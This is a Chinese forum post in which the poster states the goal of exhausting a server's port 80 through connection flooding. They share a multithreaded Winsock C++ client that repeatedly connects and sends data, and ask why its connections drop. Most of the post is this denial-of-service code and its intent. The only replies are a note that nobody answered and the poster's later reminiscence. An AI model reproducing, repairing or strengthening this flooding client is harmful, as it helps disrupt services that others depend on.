socket基于tcp协议开发了一个客户端程序,如何才能持续不断地给服务器发消息,以造成服务器80端口阻塞
首先,我用socket基于tcp协议开发了一个客户端程序,该程序可以有多个线程并发执行,
希望其能够不断的向服务器发送连接请求信息,一但连接上就一直send数据,若send或连接失败,则关闭当前套接字,重新开辟新的套接字继续连接。希望通过这种方式,把服务器的端口(80端口)资源给消耗完。
以下是线程函数的代码,大家看看,有什么问题吗,我在用时发现,只能与服务器连接一段时间,就探测不到其与服务器有连接,
但是所开辟的多个线程确实还在,就不明白为什么会与服务器断开呢,
DWORD WINAPI CTcpSendDlg::Fun2Proc(LPVOID lpParameter)
{
CLIENTPARA * clientpar = (CLIENTPARA *)lpParameter;
int ite = clientpar->itemp;
while(m_bThreadEnd)
{
SOCKET sockClient=socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=inet_addr(clientpar->IP); //IP
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(clientpar->port); //端口号
CString strTemp="";
strTemp.Format("%d",clientpar->itemp);
// m_strSend[0] = 'A'+ite;
int iconnect = connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
if (iconnect != SOCKET_ERROR) //连接成功
{
int nRet = send(sockClient,m_strSend,strlen(m_strSend)+1,0);
if(nRet == SOCKET_ERROR) //发送失败
{
closesocket(sockClient);
strTemp+="发送失败";
continue;
}
Sleep(10);
}
else //连接失败
{
closesocket(sockClient);
Sleep(5);
continue;
}
}
return 0;
}
------解决方案--------------------没人来回帖啊
------解决方案--------------------三年啦,又看到自己刚出来工作时候发的帖子不禁感慨万千啊